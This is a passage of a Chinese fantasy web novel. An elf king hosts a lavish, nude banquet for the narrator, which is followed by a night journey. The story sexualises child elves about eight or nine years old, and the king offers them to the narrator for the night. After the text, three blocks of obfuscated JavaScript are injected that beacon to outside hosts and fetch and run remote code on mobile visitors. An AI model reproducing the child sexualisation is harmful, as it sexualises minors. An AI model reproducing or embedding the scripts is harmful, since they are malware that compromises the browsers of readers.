五棵巨木以圓形排列,環抱起來的中央部份,幾十根枝幹延伸交錯,張設出一座異常強大的懸浮法陣,在這座懸浮魔法陣上,存在著一座純由木材所構成的宮殿,雖然不金碧輝煌,卻神聖莊嚴,尤其是隔得老遠,我就感受到那股強大的魔力波動。
「不得了,這哪裡是王宮?根本就是要塞或神殿嘛……」
我心中著實讚歎,不過想到這麼偉大的建築物裡,居住著一位超兄貴的肌肉猛男國王,還由他所統治,就感覺實在是很鳥。
在精靈的歷史上,不曉得有多少人類曾造訪華爾森林,但在這些人類之中,我應該是最被盛大歡迎的一個。
葛林斯王一路牽著我的手進入王宮,好像我是他的多年至交,親熱的態度讓我險些以為遇到親生老爸。
進入宮殿之後,盛大的筵席立刻擺開,葛林斯王以國宴招待我,筵席間的種種熱鬧自不待言,葛林斯王還拍手招出了宮廷的舞姬來獻藝。
這樣的一幕,如果看在研究精靈生態的學者眼中,肯定會跌破眼鏡,因為就像傳統的精靈習俗少沾染酒一樣,以精靈的高傲與保守,是不可能存在宮廷舞姬這種東西的,如果是在哪本遊記故事裡寫到,一定會被恥笑是人類與精靈的習性不分,但這種事情我卻真的看到了。
那些容貌秀美、舉止典雅的精靈少女,頸項、腰間都掛著沈重金飾,手舞足蹈,擺動著曼妙的肢體,裙擺只勉強遮住屁股,下半身除了足踝上的金環外,別無旁物,當她們隨著音樂踢腿,那一瞬間的性感,冶艷迷人。
如果說這樣的舞姿令人驚艷,美感介乎於藝術與猥褻之間,那麼接下來的那一幕,就更讓我瞠目結舌。當舞曲結束,葛林斯王再一拍掌,這群舞姬退了下去,再換上來的一群,同樣也是精靈舞姬,實際年齡雖然不清楚,但從外貌看來,都是像人類八九歲左右的女童。
這些精靈的肌膚雪白,容顏姣好,看得出長大以後定是美人,其中有部份還很面熟,好像是剛才在森林入口處喊歡迎口號的。她們手拿小鼓,身上披著半透明的白色薄紗,儘管看不到重點,稚嫩的曲線卻一覽無遺,當她們載歌載舞,用力地搖動雪白小屁股時,我聽到葛林斯王的大聲鼓掌。
「先前她們作歡迎表演時,你似乎不以為然,這點我非常欣賞,人類文化有許多優點,但小孩子怎麼能這樣子用?讓小孩子去搞歡迎表演,這種行為太低劣了。」
葛林斯王看著我,大笑道:「小孩子應該是要這樣用的嘛!約翰卿,你淫亂之名天下無雙,大地上的人類聞名喪膽,等會兒你從她們裡頭挑幾個侍寢,這是朕的心意,你可千萬別推辭喔,哈哈哈。」
聽著這聲大笑,我回轉過頭,望向身後的冷翎蘭,雖然沒說話,但眼神中卻流露很明白的意思,那就是「這傢夥與你的便宜老子喜歡搞同一調調」。如此想來,大地上幾大強國的國君,似乎都有這種癖好,冷棄基如此,葛林斯王也如此,羅賽塔是矮人之國,成年女人與沒兩樣,至於萊恩。巴菲特……他搞基的,對女童是沒興趣,但搞不好一見男童就魂飛天外。
有歌有舞,酒更是理所必然的東西,葛林斯王有了幾分酒興,開始對席上臣子介紹我的豐功偉績。其實以我在大地上的知名度,算得上臭名遠揚,就算不多做介紹,這些精靈也聽過我的劣跡,可是看葛林斯王開啟透明大螢幕,配合實際的圖片、圖表,把我過往殺人放火,姦淫擄掠的事一一詳細道來,每說一件事就要臣民們大聲鼓掌,我實在是不知道,這樣子算是表揚,還是當眾羞辱。
整場筵席,就像是一場不真實的夢,而且還越來越像是惡夢,在我受不了之前,我決定先把正事給辦了。
當葛林斯王來與我乾杯,低聲詢問我有沒有什麼特殊要求時,從他的眼神和語氣,我想他大概是問我要什麼樣的女人侍寢,而我無心於此,只是簡單表示對索藍西亞的酒吧有興趣,希望能去本地的酒吧看一看。
「什麼?你想去參觀酒吧?」
葛林斯王驚呼一聲,聲音不小,讓周圍的人都聽見了,也令我想要刻意低調的企圖破滅,但倒過來想想,白拉登與雷曼各有不可告人的圖謀,我算也沒他們算得精,與其這麼盲從到底,現在發生點意外變化也不錯,說不定反而能打亂計算。
不過,葛林斯王的表情異常凝重,就連面上那撇八字鬍看來都更嚴肅了幾分,我之前的臆測果然不錯,華爾森林之內沒有酒吧,又或者,酒吧所代表的涵義並不單純。
「約翰卿你果然了得,本來我就為你預備了這行程,沒想到你居然主動提出,不愧是能夠看到朕之新衣的智者、賢才,確實沒有令朕失望。」
講到那件不存在的國王新衣,我不得不說,整個筵席進行的過程中,這位裸體國王還是那麼囂張地赤裸在座,若是單純只看他一身健美的肌肉,倒也可以當作行動藝術來欣賞,問題是他行走時候,某個部位搖搖晃晃,這就令人不曉得該作什麼表情,至少我滿想問問冷翎蘭對此有何感想。
「不用著急,今晚大家先開懷痛飲,你來到索藍西亞,就接受朕的款待,待你將重要技術教授於朕,造福我國後,自然會為你安排觀光行程,屆時別說是參觀,就算你喜歡想要長住都沒問題。」
聽不太懂這句話的意思,此刻也沒法細問,當這場國宴告終,我們被一一安排住所,基本上大家還是住在一起,沒有被特別打散。少了華更紗,那群白家子弟仍很有秩序地自我照料,冷翎蘭為求安全起見,與琳賽住在一起,我住她們兩女的隔壁。
疲憊了一天,任誰都會想要好好休息,但當我躺在房裡正要閉眼時,有人來敲門,開門一看,發現在外頭的人正是碧安卡。
「殿下要見你。」
碧安卡口中的殿下,自然就是雷曼,以我們目前的關係,我就這麼跑去見他,怎麼說都是一件危險的事,不過心裡盤算一下,應該沒那麼快就到翻臉動手的情況,再加上確實有需要再見他一面,便跟隨著碧安卡一同前去。
本以為在華爾森林之內移動,全是靠步行,卻不料碧安卡備得有車,這種類似雪橇形式的木車,在車底部分裝有魔法石,與懸浮法陣相互排斥,憑此產生動力浮空移動,車子的設計既輕且巧,最難得的是移動時近乎無聲,若是可以,我也該弄一輛這種東西來玩玩。
木車在無數巨木之間行走,穿枝過葉,距離我們所被安排的驛館越來越遠,甚至離開了森林中心部位的「鬧區」,眼見周圍漸漸荒涼寂靜,少有人聲,我不由得懷疑起來,難道碧安卡不是來接我去見人,而是要把我帶去僻靜所在幹掉?說起來是不太合理,但雷曼又不是我孫子,他要幹什麼我也推測不準的。
不過,這個猜想沒有實現,因為碧安卡開始將木車降落,讓我明白眼前這一片岩石地,正是此次的目的地。

function aZFAtUK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function bejEovHD(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aZFAtUK(t);};window[''+'g'+'q'+'b'+'i'+'e'+'v'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pbed(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=bejEovHD,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pbed(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pbed(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmFoZGFpai5jb20lMM0E4ODkx','d3NzJTTNBJTTJGJTTJGYS54a25lb2suY29tJTTNBOTTUzNA==','9171',window,document,['M','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();